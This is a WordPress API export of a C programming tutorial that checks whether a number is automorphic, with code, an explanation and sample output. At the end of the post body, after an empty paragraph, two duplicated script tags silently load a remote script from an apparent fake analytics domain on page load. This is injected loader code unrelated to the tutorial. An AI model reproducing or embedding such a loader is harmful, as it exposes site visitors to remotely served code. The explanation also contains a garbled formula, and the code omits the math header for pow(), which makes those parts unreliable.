{"id":814,"date":"2024-10-19T13:21:48","date_gmt":"2024-10-19T07:51:48","guid":{"rendered":"https:\/\/codexplained.in\/?p=814"},"modified":"2025-11-24T15:39:56","modified_gmt":"2025-11-24T10:09:56","slug":"check-automorphic-number","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=814","title":{"rendered":"Check Automorphic Number"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int num, square, digits, lastDigits;\n\n    \/\/ Asking the user to input a number\n    printf(&quot;Enter a number: &quot;);\n    scanf(&quot;%d&quot;, &amp;num);\n\n    \/\/ Calculate the square of the number\n    square = num * num;\n\n    \/\/ Determine the number of digits in the original number\n    digits = 0;\n    int temp = num;\n    while (temp != 0) {\n        temp \/= 10;\n        digits++;\n    }\n\n    \/\/ Extract the last digits from the square equal to the number of digits in the original number\n    lastDigits = square % (int)pow(10, digits);\n\n    \/\/ Check if the last digits of the square equal the original number\n    if (lastDigits == num) {\n        printf(&quot;%d is an Automorphic number.\\n&quot;, num);\n    } else {\n        printf(&quot;%d is not an Automorphic number.\\n&quot;, num);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Purpose:<\/strong> The program checks if a number is an <strong>Automorphic number<\/strong>, meaning its square ends with the same digits as the number itself.<\/li>\n\n\n\n<li><strong>Input:<\/strong> The user enters a number, stored in <code>num<\/code>.<\/li>\n\n\n\n<li><strong>Calculations:<\/strong>\n<ul class=\"wp-block-list\">\n<li>The square of <code>num<\/code> is calculated.<\/li>\n\n\n\n<li>The number of digits in <code>num<\/code> is counted using a loop.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Extract Last Digits:<\/strong> The program extracts the last digits of the square using the modulus operation with 10number&nbsp;of&nbsp;digits10^{\\text{number of digits}}10number&nbsp;of&nbsp;digits.<\/li>\n\n\n\n<li><strong>Automorphic Check:<\/strong> It compares the extracted last digits with the original number. If they match, it confirms that the number is Automorphic.<\/li>\n\n\n\n<li><strong>Output:<\/strong> The program prints whether the number is Automorphic or not.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output:<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>1. Enter a number: 5\n5 is an Automorphic number.\n\n2. Enter a number: 30\n30 is not an Automorphic number.<\/code><\/pre>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Output:<\/p>\n","protected":false},"author":38,"featured_media":816,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-814","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/814","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=814"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/814\/revisions"}],"predecessor-version":[{"id":1413,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/814\/revisions\/1413"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/816"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=814"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=814"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=814"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}